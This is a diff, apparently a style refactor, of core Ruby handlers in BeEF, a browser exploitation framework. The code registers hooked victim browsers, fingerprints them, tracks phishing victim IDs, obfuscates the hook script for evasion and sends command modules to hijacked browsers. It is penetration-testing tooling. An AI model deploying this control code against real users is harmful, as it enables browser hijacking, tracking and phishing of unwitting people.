BeEF::Core::Models::NetworkHost.create(hooked_browser: zombie, ip: zombie.ip, ntype: 'Host', os: os_name)
else
BeEF::Core::Models::NetworkHost.create(:hooked_browser => zombie, :ip => zombie.ip, :ntype => 'Host')
BeEF::Core::Models::NetworkHost.create(hooked_browser: zombie, ip: zombie.ip, ntype: 'Host')
end
# get and store the yes|no value for browser capabilities
@@ -432,14 +477,14 @@ module BeEF
'browser.capabilities.webworker',
'browser.capabilities.websocket',
'browser.capabilities.webgl',
'browser.capabilities.webrtc',
'browser.capabilities.webrtc'
]
capabilities.each do |k|
v = get_param(@data['results'], k)
if BeEF::Filters.is_valid_yes_no?(v)
BD.set(session_id, k, v)
else
self.err_msg "Invalid value for #{k} returned from the hook browser's initial connection."
err_msg "Invalid value for #{k} returned from the hook browser's initial connection."
end
end
@@ -448,7 +493,7 @@ module BeEF
if BeEF::Filters.is_valid_memory?(memory)
BD.set(session_id, 'hardware.memory', memory)
else
self.err_msg "Invalid value for 'hardware.memory' returned from the hook browser's initial connection."
err_msg "Invalid value for 'hardware.memory' returned from the hook browser's initial connection."
end
# get and store the value for hardware.gpu
@@ -456,7 +501,7 @@ module BeEF
if BeEF::Filters.is_valid_gpu?(gpu)
BD.set(session_id, 'hardware.gpu', gpu)
else
self.err_msg "Invalid value for 'hardware.gpu' returned from the hook browser's initial connection."
err_msg "Invalid value for 'hardware.gpu' returned from the hook browser's initial connection."
end
# get and store the value for hardware.gpu.vendor
@@ -464,7 +509,7 @@ module BeEF
if BeEF::Filters.is_valid_gpu?(gpu_vendor)
BD.set(session_id, 'hardware.gpu.vendor', gpu_vendor)
else
self.err_msg "Invalid value for 'hardware.gpu.vendor' returned from the hook browser's initial connection."
err_msg "Invalid value for 'hardware.gpu.vendor' returned from the hook browser's initial connection."
end
# get and store the value for hardware.cpu.arch
@@ -472,7 +517,7 @@ module BeEF
if BeEF::Filters.is_valid_cpu?(cpu_arch)
BD.set(session_id, 'hardware.cpu.arch', cpu_arch)
else
self.err_msg "Invalid value for 'hardware.cpu.arch' returned from the hook browser's initial connection."
err_msg "Invalid value for 'hardware.cpu.arch' returned from the hook browser's initial connection."
end
# get and store the value for hardware.cpu.cores
@@ -480,15 +525,15 @@ module BeEF
if BeEF::Filters.alphanums_only?(cpu_cores)
BD.set(session_id, 'hardware.cpu.cores', cpu_cores)
else
self.err_msg "Invalid value for 'hardware.cpu.cores' returned from the hook browser's initial connection."
err_msg "Invalid value for 'hardware.cpu.cores' returned from the hook browser's initial connection."
end
# get and store the value for hardware.battery.level
battery_level = get_param(@data['results'], 'hardware.battery.level')
if battery_level == 'unknown' || battery_level =~ /\A[\d\.]+%\z/
if battery_level == 'unknown' || battery_level =~ /\A[\d.]+%\z/
BD.set(session_id, 'hardware.battery.level', battery_level)
else
self.err_msg "Invalid value for 'hardware.battery.level' returned from the hook browser's initial connection."
err_msg "Invalid value for 'hardware.battery.level' returned from the hook browser's initial connection."
end
# get and store the value for hardware.screen.touchenabled
@@ -496,7 +541,7 @@ module BeEF
if BeEF::Filters.is_valid_yes_no?(touch_enabled)
BD.set(session_id, 'hardware.screen.touchenabled', touch_enabled)
else
self.err_msg "Invalid value for hardware.screen.touchenabled returned from the hook browser's initial connection."
err_msg "Invalid value for hardware.screen.touchenabled returned from the hook browser's initial connection."
end
if config.get('beef.integration.phishing_frenzy.enable')
@@ -506,34 +551,29 @@ module BeEF
if BeEF::Filters.alphanums_only?(victim_uid)
BD.set(session_id, 'PhishingFrenzyUID', victim_uid)
else
self.err_msg "Invalid PhishingFrenzy Victim UID returned from the hook browser's initial connection."
err_msg "Invalid PhishingFrenzy Victim UID returned from the hook browser's initial connection."
end
end
# log a few info of newly hooked zombie in the console
print_info "New Hooked Browser [id:#{zombie.id}, ip:#{zombie.ip}, browser:#{browser_name}-#{browser_version}, os:#{os_name}-#{os_version}], hooked domain [#{log_zombie_domain}:#{log_zombie_port.to_s}]"
print_info "New Hooked Browser [id:#{zombie.id}, ip:#{zombie.ip}, browser:#{browser_name}-#{browser_version}, os:#{os_name}-#{os_version}], hooked domain [#{log_zombie_domain}:#{log_zombie_port}]"
# add localhost as network host
if config.get('beef.extension.network.enable')
print_debug("Hooked browser has network interface 127.0.0.1")
BeEF::Core::Models::NetworkHost.create(:hooked_browser_id => session_id, :ip => '127.0.0.1', :hostname => 'localhost', :os => BeEF::Core::Models::BrowserDetails.get(session_id, 'host.os.name'))
print_debug('Hooked browser has network interface 127.0.0.1')
BeEF::Core::Models::NetworkHost.create(hooked_browser_id: session_id, ip: '127.0.0.1', hostname: 'localhost',
os: BeEF::Core::Models::BrowserDetails.get(session_id, 'host.os.name'))
end
# check if any ARE rules shall be triggered only if the channel is != WebSockets (XHR). If the channel
# is WebSockets, then ARe rules are triggered after channel is established.
unless config.get("beef.http.websocket.enable")
BeEF::Core::AutorunEngine::Engine.instance.run(zombie.id, browser_name, browser_version, os_name, os_version)
end
BeEF::Core::AutorunEngine::Engine.instance.run(zombie.id, browser_name, browser_version, os_name, os_version) unless config.get('beef.http.websocket.enable')
end
def get_param(query, key)
(query.class == Hash and query.has_key?(key)) ? query[key].to_s : nil
(query.instance_of?(Hash) and query.has_key?(key)) ? query[key].to_s : nil
end
end
end
end
end

View File

@@ -4,107 +4,107 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module Handlers
class Commands
module Core
module Handlers
class Commands
include BeEF::Core::Handlers::Modules::BeEFJS
include BeEF::Core::Handlers::Modules::Command
include BeEF::Core::Handlers::Modules::BeEFJS
include BeEF::Core::Handlers::Modules::Command
@data = {}
@data = {}
#
# Handles command data
#
# @param [Hash] data Data from command execution
# @param [Class] kclass Class of command
#
# @todo Confirm argument data variable type [radoen]: type is Hash confirmed.
#
def initialize(data, kclass)
@kclass = BeEF::Core::Command.const_get(kclass.capitalize)
@data = data
setup
end
#
# Handles command data
#
# @param [Hash] data Data from command execution
# @param [Class] kclass Class of command
#
# @todo Confirm argument data variable type [radoen]: type is Hash confirmed.
#
def initialize(data, kclass)
@kclass = BeEF::Core::Command.const_get(kclass.capitalize)
@data = data
setup
end
#
# @note Initial setup function, creates the command module and saves details to datastore
#
def setup
@http_params = @data['request'].params
@http_header = {}
http_header = @data['request'].env.select { |k, _v| k.to_s.start_with? 'HTTP_' }.each do |key, value|
@http_header[key.sub(/^HTTP_/, '')] = value.force_encoding('UTF-8')
end
#
# @note Initial setup function, creates the command module and saves details to datastore
#
def setup
@http_params = @data['request'].params
@http_header = {}
http_header = @data['request'].env.select { |k, v| k.to_s.start_with? 'HTTP_' }.each { |key, value|
@http_header[key.sub(/^HTTP_/, '')] = value.force_encoding('UTF-8')
}
# @note get and check command id from the request
command_id = get_param(@data, 'cid')
unless command_id.integer?
print_error 'command_id is invalid'
return
end
# @note get and check command id from the request
command_id = get_param(@data, 'cid')
unless command_id.integer?
print_error "command_id is invalid"
return
# @note get and check session id from the request
beefhook = get_param(@data, 'beefhook')
unless BeEF::Filters.is_valid_hook_session_id?(beefhook)
print_error 'BeEF hook is invalid'
return
end
result = get_param(@data, 'results')
# @note create the command module to handle the response
command = @kclass.new(BeEF::Module.get_key_by_class(@kclass))
command.build_callback_datastore(result, command_id, beefhook, @http_params, @http_header)
command.session_id = beefhook
command.post_execute if command.respond_to?(:post_execute)
# @todo this is the part that store result on db and the modify
# will be accessible from all the framework and so UI too
# @note get/set details for datastore and log entry
command_friendly_name = command.friendlyname
if command_friendly_name.empty?
print_error 'command friendly name is empty'
return
end
command_status = @data['status']
unless command_status.integer?
print_error 'command status is invalid'
return
end
command_results = @data['results']
if command_results.empty?
print_error 'command results are empty'
return
end
# @note save the command module results to the datastore and create a log entry
command_results = { 'data' => command_results }
BeEF::Core::Models::Command.save_result(
beefhook,
command_id,
command_friendly_name,
command_results,
command_status
)
end
#
# @note Returns parameter from hash
#
# @param [Hash] query Hash of data to return data from
# @param [String] key Key to search for and return inside `query`
#
# @return Value referenced in hash at the supplied key
#
def get_param(query, key)
return unless query.instance_of?(Hash)
return unless query.key?(key)
query[key]
end
end
# @note get and check session id from the request
beefhook = get_param(@data, 'beefhook')
unless BeEF::Filters.is_valid_hook_session_id?(beefhook)
print_error "BeEF hook is invalid"
return
end
result = get_param(@data, 'results')
# @note create the command module to handle the response
command = @kclass.new(BeEF::Module.get_key_by_class(@kclass))
command.build_callback_datastore(result, command_id, beefhook, @http_params, @http_header)
command.session_id = beefhook
command.post_execute if command.respond_to?(:post_execute)
# @todo this is the part that store result on db and the modify
# will be accessible from all the framework and so UI too
# @note get/set details for datastore and log entry
command_friendly_name = command.friendlyname
if command_friendly_name.empty?
print_error 'command friendly name is empty'
return
end
command_status = @data['status']
unless command_status.integer?
print_error 'command status is invalid'
return
end
command_results = @data['results']
if command_results.empty?
print_error 'command results are empty'
return
end
# @note save the command module results to the datastore and create a log entry
command_results = { 'data' => command_results }
BeEF::Core::Models::Command.save_result(
beefhook,
command_id,
command_friendly_name,
command_results,
command_status
)
end
#
# @note Returns parameter from hash
#
# @param [Hash] query Hash of data to return data from
# @param [String] key Key to search for and return inside `query`
#
# @return Value referenced in hash at the supplied key
#
def get_param(query, key)
return unless query.class == Hash
return unless query.key?(key)
query[key]
end
end
end
end
end

View File

@@ -4,137 +4,135 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module Handlers
module Core
module Handlers
# @note This class handles connections from hooked browsers to the framework.
class HookedBrowsers < BeEF::Core::Router::Router
include BeEF::Core::Handlers::Modules::BeEFJS
include BeEF::Core::Handlers::Modules::LegacyBeEFJS
include BeEF::Core::Handlers::Modules::Command
# @note This class handles connections from hooked browsers to the framework.
class HookedBrowsers < BeEF::Core::Router::Router
include BeEF::Core::Handlers::Modules::BeEFJS
include BeEF::Core::Handlers::Modules::LegacyBeEFJS
include BeEF::Core::Handlers::Modules::Command
#antisnatchor: we don't want to have anti-xss/anti-framing headers in the HTTP response for the hook file.
configure do
disable :protection
end
# Process HTTP requests sent by a hooked browser to the framework.
# It will update the database to add or update the current hooked browser
# and deploy some command modules or extensions to the hooked browser.
get '/' do
@body = ''
params = request.query_string
#@response = Rack::Response.new(body=[], 200, header={})
config = BeEF::Core::Configuration.instance
# @note check source ip address of browser
permitted_hooking_subnet = config.get('beef.restrictions.permitted_hooking_subnet')
if permitted_hooking_subnet.nil? || permitted_hooking_subnet.empty?
BeEF::Core::Logger.instance.register('Target Range', "Attempted hook from outside of permitted hooking subnet (#{request.ip}) rejected.")
error 404
end
found = false
permitted_hooking_subnet.each do |subnet|
found = true if IPAddr.new(subnet).include?(request.ip)
end
unless found
BeEF::Core::Logger.instance.register('Target Range', "Attempted hook from outside of permitted hooking subnet (#{request.ip}) rejected.")
error 404
end
excluded_hooking_subnet = config.get('beef.restrictions.excluded_hooking_subnet')
unless excluded_hooking_subnet.nil? || excluded_hooking_subnet.empty?
excluded_ip_hooked = false
excluded_hooking_subnet.each do |subnet|
excluded_ip_hooked = true if IPAddr.new(subnet).include?(request.ip)
# antisnatchor: we don't want to have anti-xss/anti-framing headers in the HTTP response for the hook file.
configure do
disable :protection
end
if excluded_ip_hooked
BeEF::Core::Logger.instance.register('Target Range', "Attempted hook from excluded hooking subnet (#{request.ip}) rejected.")
error 404
end
end
# Process HTTP requests sent by a hooked browser to the framework.
# It will update the database to add or update the current hooked browser
# and deploy some command modules or extensions to the hooked browser.
get '/' do
@body = ''
params = request.query_string
# @response = Rack::Response.new(body=[], 200, header={})
config = BeEF::Core::Configuration.instance
# @note get zombie if already hooked the framework
hook_session_name = config.get('beef.http.hook_session_name')
hook_session_id = request[hook_session_name]
begin
raise ActiveRecord::RecordNotFound if hook_session_id.nil?
hooked_browser = BeEF::Core::Models::HookedBrowser.where(:session => hook_session_id).first
rescue ActiveRecord::RecordNotFound
hooked_browser = false
end
# @note is a new browser so return instructions to set up the hook
if not hooked_browser
# @note generate the instructions to hook the browser
host_name = request.host
(print_error "Invalid host name";return) if not BeEF::Filters.is_valid_hostname?(host_name)
# Generate the hook js provided to the hookwed browser (the magic happens here)
if BeEF::Core::Configuration.instance.get("beef.http.websocket.enable")
build_beefjs!(host_name)
else
legacy_build_beefjs!(host_name)
end
# @note is a known browser so send instructions
else
# @note Check if we haven't seen this browser for a while, log an event if we haven't
if (Time.new.to_i - hooked_browser.lastseen.to_i) > 60
BeEF::Core::Logger.instance.register('Zombie',"#{hooked_browser.ip} appears to have come back online","#{hooked_browser.id}")
end
# @note record the last poll from the browser
hooked_browser.lastseen = Time.new.to_i
# @note Check for a change in zombie IP and log an event
if config.get('beef.http.use_x_forward_for') == true
if hooked_browser.ip != request.env["HTTP_X_FORWARDED_FOR"]
BeEF::Core::Logger.instance.register('Zombie',"IP address has changed from #{hooked_browser.ip} to #{request.env["HTTP_X_FORWARDED_FOR"]}","#{hooked_browser.id}")
hooked_browser.ip = request.env["HTTP_X_FORWARDED_FOR"]
# @note check source ip address of browser
permitted_hooking_subnet = config.get('beef.restrictions.permitted_hooking_subnet')
if permitted_hooking_subnet.nil? || permitted_hooking_subnet.empty?
BeEF::Core::Logger.instance.register('Target Range', "Attempted hook from outside of permitted hooking subnet (#{request.ip}) rejected.")
error 404
end
else
if hooked_browser.ip != request.ip
BeEF::Core::Logger.instance.register('Zombie',"IP address has changed from #{hooked_browser.ip} to #{request.ip}","#{hooked_browser.id}")
hooked_browser.ip = request.ip
found = false
permitted_hooking_subnet.each do |subnet|
found = true if IPAddr.new(subnet).include?(request.ip)
end
unless found
BeEF::Core::Logger.instance.register('Target Range', "Attempted hook from outside of permitted hooking subnet (#{request.ip}) rejected.")
error 404
end
excluded_hooking_subnet = config.get('beef.restrictions.excluded_hooking_subnet')
unless excluded_hooking_subnet.nil? || excluded_hooking_subnet.empty?
excluded_ip_hooked = false
excluded_hooking_subnet.each do |subnet|
excluded_ip_hooked = true if IPAddr.new(subnet).include?(request.ip)
end
if excluded_ip_hooked
BeEF::Core::Logger.instance.register('Target Range', "Attempted hook from excluded hooking subnet (#{request.ip}) rejected.")
error 404
end
end
# @note get zombie if already hooked the framework
hook_session_name = config.get('beef.http.hook_session_name')
hook_session_id = request[hook_session_name]
begin
raise ActiveRecord::RecordNotFound if hook_session_id.nil?
hooked_browser = BeEF::Core::Models::HookedBrowser.where(session: hook_session_id).first
rescue ActiveRecord::RecordNotFound
hooked_browser = false
end
# @note is a new browser so return instructions to set up the hook
if hooked_browser
# @note Check if we haven't seen this browser for a while, log an event if we haven't
if (Time.new.to_i - hooked_browser.lastseen.to_i) > 60
BeEF::Core::Logger.instance.register('Zombie', "#{hooked_browser.ip} appears to have come back online", hooked_browser.id.to_s)
end
# @note record the last poll from the browser
hooked_browser.lastseen = Time.new.to_i
# @note Check for a change in zombie IP and log an event
if config.get('beef.http.use_x_forward_for') == true
if hooked_browser.ip != request.env['HTTP_X_FORWARDED_FOR']
BeEF::Core::Logger.instance.register('Zombie', "IP address has changed from #{hooked_browser.ip} to #{request.env['HTTP_X_FORWARDED_FOR']}", hooked_browser.id.to_s)
hooked_browser.ip = request.env['HTTP_X_FORWARDED_FOR']
end
elsif hooked_browser.ip != request.ip
BeEF::Core::Logger.instance.register('Zombie', "IP address has changed from #{hooked_browser.ip} to #{request.ip}", hooked_browser.id.to_s)
hooked_browser.ip = request.ip
end
hooked_browser.count!
hooked_browser.save!
# @note add all available command module instructions to the response
zombie_commands = BeEF::Core::Models::Command.where(hooked_browser_id: hooked_browser.id, instructions_sent: false)
zombie_commands.each { |command| add_command_instructions(command, hooked_browser) }
# @note Check if there are any ARE rules to be triggered. If is_sent=false rules are triggered
are_executions = BeEF::Core::Models::Execution.where(is_sent: false, session_id: hook_session_id)
are_executions.each do |are_exec|
@body += are_exec.mod_body
are_exec.update(is_sent: true, exec_time: Time.new.to_i)
end
# @note We dynamically get the list of all browser hook handler using the API and register them
BeEF::API::Registrar.instance.fire(BeEF::API::Server::Hook, 'pre_hook_send', hooked_browser, @body, params, request, response)
else
# @note generate the instructions to hook the browser
host_name = request.host
unless BeEF::Filters.is_valid_hostname?(host_name)
(print_error 'Invalid host name'
return)
end
# Generate the hook js provided to the hookwed browser (the magic happens here)
if BeEF::Core::Configuration.instance.get('beef.http.websocket.enable')
build_beefjs!(host_name)
else
legacy_build_beefjs!(host_name)
end
# @note is a known browser so send instructions
end
# @note set response headers and body
headers 'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
'Expires' => '0',
'Content-Type' => 'text/javascript',
'Access-Control-Allow-Origin' => '*',
'Access-Control-Allow-Methods' => 'POST, GET'
@body
end
hooked_browser.count!
hooked_browser.save!
# @note add all available command module instructions to the response
zombie_commands = BeEF::Core::Models::Command.where(:hooked_browser_id => hooked_browser.id, :instructions_sent => false)
zombie_commands.each{|command| add_command_instructions(command, hooked_browser)}
# @note Check if there are any ARE rules to be triggered. If is_sent=false rules are triggered
are_executions = BeEF::Core::Models::Execution.where(:is_sent => false, :session_id => hook_session_id)
are_executions.each do |are_exec|
@body += are_exec.mod_body
are_exec.update(:is_sent => true, :exec_time => Time.new.to_i)
end
# @note We dynamically get the list of all browser hook handler using the API and register them
BeEF::API::Registrar.instance.fire(BeEF::API::Server::Hook, 'pre_hook_send', hooked_browser, @body, params, request, response)
end
# @note set response headers and body
headers 'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
'Expires' => '0',
'Content-Type' => 'text/javascript',
'Access-Control-Allow-Origin' => '*',
'Access-Control-Allow-Methods' => 'POST, GET'
@body
end
end
end
end
end

View File

@@ -7,10 +7,8 @@ module BeEF
module Core
module Handlers
module Modules
# @note Purpose: avoid rewriting several times the same code.
module BeEFJS
# Builds the default beefjs library (all default components of the library).
# @param [Object] req_host The request object
def build_beefjs!(req_host)
@@ -21,31 +19,30 @@ module BeEF
beef_js_path = "#{$root_dir}/core/main/client/"
# @note External libraries (like jQuery) that are not evaluated with Eruby and possibly not obfuscated
ext_js_sub_files = %w(lib/jquery-1.12.4.min.js lib/jquery-migrate-1.4.1.js lib/evercookie.js lib/json2.js lib/mdetect.js lib/platform.js lib/jquery.blockUI.js)
ext_js_sub_files = %w[lib/jquery-1.12.4.min.js lib/jquery-migrate-1.4.1.js lib/evercookie.js lib/json2.js lib/mdetect.js lib/platform.js lib/jquery.blockUI.js]
# @note BeEF libraries: need Eruby evaluation and obfuscation
beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js are.js)
beef_js_sub_files = %w[beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js
encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js are.js]
# @note Load websocket library only if WS server is enabled in config.yaml
if config.get("beef.http.websocket.enable") == true
beef_js_sub_files << "websocket.js"
end
beef_js_sub_files << 'websocket.js' if config.get('beef.http.websocket.enable') == true
# @note Load webrtc library only if WebRTC extension is enabled
if config.get("beef.extension.webrtc.enable") == true
beef_js_sub_files << "lib/webrtcadapter.js"
beef_js_sub_files << "webrtc.js"
if config.get('beef.extension.webrtc.enable') == true
beef_js_sub_files << 'lib/webrtcadapter.js'
beef_js_sub_files << 'webrtc.js'
end
# @note antisnatchor: leave timeout.js as the last one!
beef_js_sub_files << "timeout.js"
beef_js_sub_files << 'timeout.js'
ext_js_to_obfuscate = ''
ext_js_to_not_obfuscate = ''
# @note If Evasion is enabled, the final ext_js string will be ext_js_to_obfuscate + ext_js_to_not_obfuscate
# @note If Evasion is disabled, the final ext_js will be just ext_js_to_not_obfuscate
ext_js_sub_files.each { |ext_js_sub_file|
if config.get("beef.extension.evasion.enable")
if config.get("beef.extension.evasion.exclude_core_js").include?(ext_js_sub_file)
ext_js_sub_files.each do |ext_js_sub_file|
if config.get('beef.extension.evasion.enable')
if config.get('beef.extension.evasion.exclude_core_js').include?(ext_js_sub_file)
print_debug "Excluding #{ext_js_sub_file} from core files obfuscation list"
# do not obfuscate the file
ext_js_sub_file_path = beef_js_path + ext_js_sub_file
@@ -59,66 +56,58 @@ module BeEF
ext_js_sub_file_path = beef_js_path + ext_js_sub_file
ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n")
end
}
end
# @note construct the beef_js string from file(s)
beef_js_sub_files.each { |beef_js_sub_file|
beef_js_sub_files.each do |beef_js_sub_file|
beef_js_sub_file_path = beef_js_path + beef_js_sub_file
beef_js << (File.read(beef_js_sub_file_path) + "\n\n")
}
end
# @note create the config for the hooked browser session
hook_session_config = BeEF::Core::Server.instance.to_h
# @note if http_host="0.0.0.0" in config ini, use the host requested by client
unless hook_session_config['beef_public'].nil?
if hook_session_config['beef_host'] != hook_session_config['beef_public']
hook_session_config['beef_host'] = hook_session_config['beef_public']
hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_host']}/, hook_session_config['beef_public'])
end
if !hook_session_config['beef_public'].nil? && (hook_session_config['beef_host'] != hook_session_config['beef_public'])
hook_session_config['beef_host'] = hook_session_config['beef_public']
hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_host']}/, hook_session_config['beef_public'])
end
if hook_session_config['beef_host'].eql? "0.0.0.0"
if hook_session_config['beef_host'].eql? '0.0.0.0'
hook_session_config['beef_host'] = req_host
hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host)
end
# @note set the XHR-polling timeout
hook_session_config['xhr_poll_timeout'] = config.get("beef.http.xhr_poll_timeout")
hook_session_config['xhr_poll_timeout'] = config.get('beef.http.xhr_poll_timeout')
# @note set the hook file path and BeEF's cookie name
hook_session_config['hook_file'] = config.get("beef.http.hook_file")
hook_session_config['hook_session_name'] = config.get("beef.http.hook_session_name")
hook_session_config['hook_file'] = config.get('beef.http.hook_file')
hook_session_config['hook_session_name'] = config.get('beef.http.hook_session_name')
# @note if http_port <> public_port in config ini, use the public_port
unless hook_session_config['beef_public_port'].nil?
if hook_session_config['beef_port'] != hook_session_config['beef_public_port']
hook_session_config['beef_port'] = hook_session_config['beef_public_port']
hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port'])
if hook_session_config['beef_public_port'] == '443'
hook_session_config['beef_url'].sub!(/http:/, 'https:')
end
end
if !hook_session_config['beef_public_port'].nil? && (hook_session_config['beef_port'] != hook_session_config['beef_public_port'])
hook_session_config['beef_port'] = hook_session_config['beef_public_port']
hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port'])
hook_session_config['beef_url'].sub!(/http:/, 'https:') if hook_session_config['beef_public_port'] == '443'
end
# @note Set some WebSocket properties
if config.get("beef.http.websocket.enable")
hook_session_config['websocket_secure'] = config.get("beef.http.websocket.secure")
hook_session_config['websocket_port'] = config.get("beef.http.websocket.port")
hook_session_config['ws_poll_timeout'] = config.get("beef.http.websocket.ws_poll_timeout")
hook_session_config['ws_connect_timeout'] = config.get("beef.http.websocket.ws_connect_timeout")
hook_session_config['websocket_sec_port']= config.get("beef.http.websocket.secure_port")
if config.get('beef.http.websocket.enable')
hook_session_config['websocket_secure'] = config.get('beef.http.websocket.secure')
hook_session_config['websocket_port'] = config.get('beef.http.websocket.port')
hook_session_config['ws_poll_timeout'] = config.get('beef.http.websocket.ws_poll_timeout')
hook_session_config['ws_connect_timeout'] = config.get('beef.http.websocket.ws_connect_timeout')
hook_session_config['websocket_sec_port'] = config.get('beef.http.websocket.secure_port')
end
# @note Set if PhishingFrenzy integration is enabled
if config.get("beef.integration.phishing_frenzy.enable")
hook_session_config['phishing_frenzy_enable'] = config.get("beef.integration.phishing_frenzy.enable")
end
hook_session_config['phishing_frenzy_enable'] = config.get('beef.integration.phishing_frenzy.enable') if config.get('beef.integration.phishing_frenzy.enable')
# @note populate place holders in the beef_js string and set the response body
eruby = Erubis::FastEruby.new(beef_js)
@hook = eruby.evaluate(hook_session_config)
if config.get("beef.extension.evasion.enable")
if config.get('beef.extension.evasion.enable')
evasion = BeEF::Extension::Evasion::Evasion.instance
@final_hook = ext_js_to_not_obfuscate + evasion.add_bootstrapper + evasion.obfuscate(ext_js_to_obfuscate + @hook)
else
@@ -127,7 +116,6 @@ module BeEF
# @note Return the final hook to be sent to the browser
@body << @final_hook
end
# Finds the path to js components
@@ -139,7 +127,7 @@ module BeEF
component_path.gsub!(/\./, '/')
component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js"
return false if not File.exists? component_path
return false unless File.exist? component_path
component_path
end
@@ -152,11 +140,12 @@ module BeEF
if beefjs_components.is_a? String
beefjs_components_path = find_beefjs_component_path(beefjs_components)
raise "Invalid component: could not build the beefjs file" if not beefjs_components_path
beefjs_components = {beefjs_components => beefjs_components_path}
raise 'Invalid component: could not build the beefjs file' unless beefjs_components_path
beefjs_components = { beefjs_components => beefjs_components_path }
end
beefjs_components.keys.each { |k|
beefjs_components.keys.each do |k|
next if @beef_js_cmps.include? beefjs_components[k]
# @note path to the component
@@ -164,11 +153,11 @@ module BeEF
# @note we output the component to the hooked browser
config = BeEF::Core::Configuration.instance
if config.get("beef.extension.evasion.enable")
if config.get('beef.extension.evasion.enable')
evasion = BeEF::Extension::Evasion::Evasion.instance
@body << evasion.obfuscate(File.read(component_path) + "\n\n")
else
@body << File.read(component_path) + "\n\n"
@body << (File.read(component_path) + "\n\n")
end
# @note finally we add the component to the list of components already generated so it does not get generated numerous times.
@@ -177,7 +166,7 @@ module BeEF
else
@beef_js_cmps += ",#{component_path}"
end
}
end
end
end
end

View File

@@ -7,29 +7,48 @@ module BeEF
module Core
module Handlers
module Modules
module Command
# Adds the command module instructions to a hooked browser's http response.
# @param [Object] command Command object
# @param [Object] hooked_browser Hooked Browser object
def add_command_instructions(command, hooked_browser)
(print_error "hooked_browser is nil"; return) if hooked_browser.nil?
(print_error "hooked_browser.session is nil"; return) if hooked_browser.session.nil?
(print_error "hooked_browser is nil"; return) if command.nil?
(print_error "hooked_browser.command_module_id is nil"; return) if command.command_module_id.nil?
if hooked_browser.nil?
(print_error 'hooked_browser is nil'
return)
end
if hooked_browser.session.nil?
(print_error 'hooked_browser.session is nil'
return)
end
if command.nil?
(print_error 'hooked_browser is nil'
return)
end
if command.command_module_id.nil?
(print_error 'hooked_browser.command_module_id is nil'
return)
end
config = BeEF::Core::Configuration.instance
# @note get the command module
command_module = BeEF::Core::Models::CommandModule.where(:id => command.command_module_id).first
(print_error "command_module is nil"; return) if command_module.nil?
(print_error "command_module.path is nil"; return) if command_module.path.nil?
command_module = BeEF::Core::Models::CommandModule.where(id: command.command_module_id).first
if command_module.nil?
(print_error 'command_module is nil'
return)
end
if command_module.path.nil?
(print_error 'command_module.path is nil'
return)
end
if (command_module.path.match(/^Dynamic/))
if command_module.path.match(/^Dynamic/)
command_module = BeEF::Modules::Commands.const_get(command_module.path.split('/').last.capitalize).new
else
key = BeEF::Module.get_key_by_database_id(command.command_module_id)
(print_error "Could not find command module with ID #{command.command_module_id}"; return) if key.nil?
if key.nil?
(print_error "Could not find command module with ID #{command.command_module_id}"
return)
end
command_module = BeEF::Core::Command.const_get(config.get("beef.module.#{key}.class")).new(key)
end
@@ -42,25 +61,25 @@ module BeEF
ws = BeEF::Core::Websocket::Websocket.instance
if config.get("beef.extension.evasion.enable")
if config.get('beef.extension.evasion.enable')
evasion = BeEF::Extension::Evasion::Evasion.instance
@output = evasion.obfuscate(command_module.output)
else
@output = command_module.output
end
#todo antisnatchor: remove this gsub crap adding some hook packing.
if config.get("beef.http.websocket.enable") && ws.getsocket(hooked_browser.session)
#content = command_module.output.gsub('//
#//
#// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
#// Browser Exploitation Framework (BeEF) - http://beefproject.com
#// See the file 'doc/COPYING' for copying permission
#//
#//', "")
# TODO: antisnatchor: remove this gsub crap adding some hook packing.
if config.get('beef.http.websocket.enable') && ws.getsocket(hooked_browser.session)
# content = command_module.output.gsub('//
# //
# // Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
# // Browser Exploitation Framework (BeEF) - http://beefproject.com
# // See the file 'doc/COPYING' for copying permission
# //
# //', "")
ws.send(@output, hooked_browser.session)
else
@body << @output + "\n\n"
@body << (@output + "\n\n")
end
# @note prints the event to the console
if BeEF::Settings.console?
@@ -72,9 +91,7 @@ module BeEF
command.instructions_sent = true
command.save!
end
end
end
end
end

View File

@@ -7,10 +7,8 @@ module BeEF
module Core
module Handlers
module Modules
# @note Purpose: avoid rewriting several times the same code.
module LegacyBeEFJS
# Builds the default beefjs library (all default components of the library).
# @param [Object] req_host The request object
def legacy_build_beefjs!(req_host)
@@ -21,31 +19,30 @@ module BeEF
beef_js_path = "#{$root_dir}/core/main/client/"
# @note External libraries (like jQuery) that are not evaluated with Eruby and possibly not obfuscated
ext_js_sub_files = %w(lib/jquery-1.12.4.min.js lib/jquery-migrate-1.4.1.js lib/evercookie.js lib/json2.js lib/mdetect.js lib/platform.js lib/jquery.blockUI.js)
ext_js_sub_files = %w[lib/jquery-1.12.4.min.js lib/jquery-migrate-1.4.1.js lib/evercookie.js lib/json2.js lib/mdetect.js lib/platform.js lib/jquery.blockUI.js]
# @note BeEF libraries: need Eruby evaluation and obfuscation
beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js are.js)
